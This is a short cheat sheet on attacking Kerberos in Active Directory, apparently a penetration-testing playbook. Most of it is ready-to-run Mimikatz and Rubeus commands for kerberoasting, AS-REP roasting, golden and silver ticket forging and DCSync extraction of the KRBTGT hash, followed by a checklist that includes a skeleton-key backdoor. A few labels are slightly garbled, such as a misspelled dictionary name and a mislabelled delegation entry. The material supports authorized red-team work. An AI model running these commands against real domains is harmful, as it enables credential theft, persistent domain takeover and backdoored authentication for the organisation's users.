Kerberos Attacks Forge

Kerberos Attacks and Ticket Forging

Attacking Kerberos in Active Directory — from kerberoasting and AS-REP roasting through golden/silver ticket forging, DCSync, and delegation abuse.

When to Use

• Extracting service account credentials via kerberoasting
• Forging tickets for domain persistence (golden/silver)
• Performing DCSync for KRBTGT hash extraction
• Abusing Kerberos delegation for privilege escalation

Kerberos Attack Techniques

KERBEROS_ATTACKS = {
    'kerberoasting': 'Request TGS for SPNs, crack service account hashes offline',
    'asrep_roasting': 'Request AS-REP for users without Kerberos pre-authentication',
    'golden_ticket': 'Forge TGT with KRBTGT hash — domain admin anywhere, any time',
    'silver_ticket': 'Forge TGS for specific service — access without domain admin',
    'diamond_ticket': 'Decrypt legitimate TGT, modify PAC, re-encrypt — stealthier than golden',
    'dcsync': 'Replicate domain controller (DRS protocol) — extract any hash including KRBTGT',
    'skeleton_key': 'Mimikatz skeleton key — backdoor all domain auth with password "mimikatz"',
    'dcom_lateral': 'Abuse Kerberos delegation for lateral movement',
}

# Mimikatz commands
MIKIKATZ_COMMANDS = {
    'kerberoast': 'kerberos::ask /target:HTTP/srv01.contoso.com',
    'golden_ticket': 'kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-... /krbtgt:HASH',
    'silver_ticket': 'kerberos::golden /user:Administrator /domain:contoso.com /sid:... /target:dc01.contoso.com /service:CIFS /rc4:HASH',
    'dcsync': 'lsadump::dcsync /domain:contoso.com /user:krbtgt',
}

# Rubeus commands (C# tool)
RUBEUS_COMMANDS = {
    'kerberoast': 'Rubeus.exe kerberoast /nowrap',
    'asreproast': 'Rubeus.exe asreproast /nowrap',
    'silver_ticket': 'Rubeus.exe silver /service:HTTP/server.contoso.com /rc4:HASH /user:admin',
}

Verification Checklist

• Kerberoasting on all SPNs (authorized accounts only)
• AS-REP roasting on users without pre-auth
• Ticket hashes cracked offline (hashcat mode 13100, 18200)
• KRBTGT hash extracted via DCSync (authorized only)
• Golden ticket forged and tested (access any resource)
• Silver ticket forged for specific service access
• Delegation abuse checked (unconstrained, constrained, resource-based)
• Skeleton key demonstrated (if in scope)
• Cleanup: tickets purged, no permanent backdoors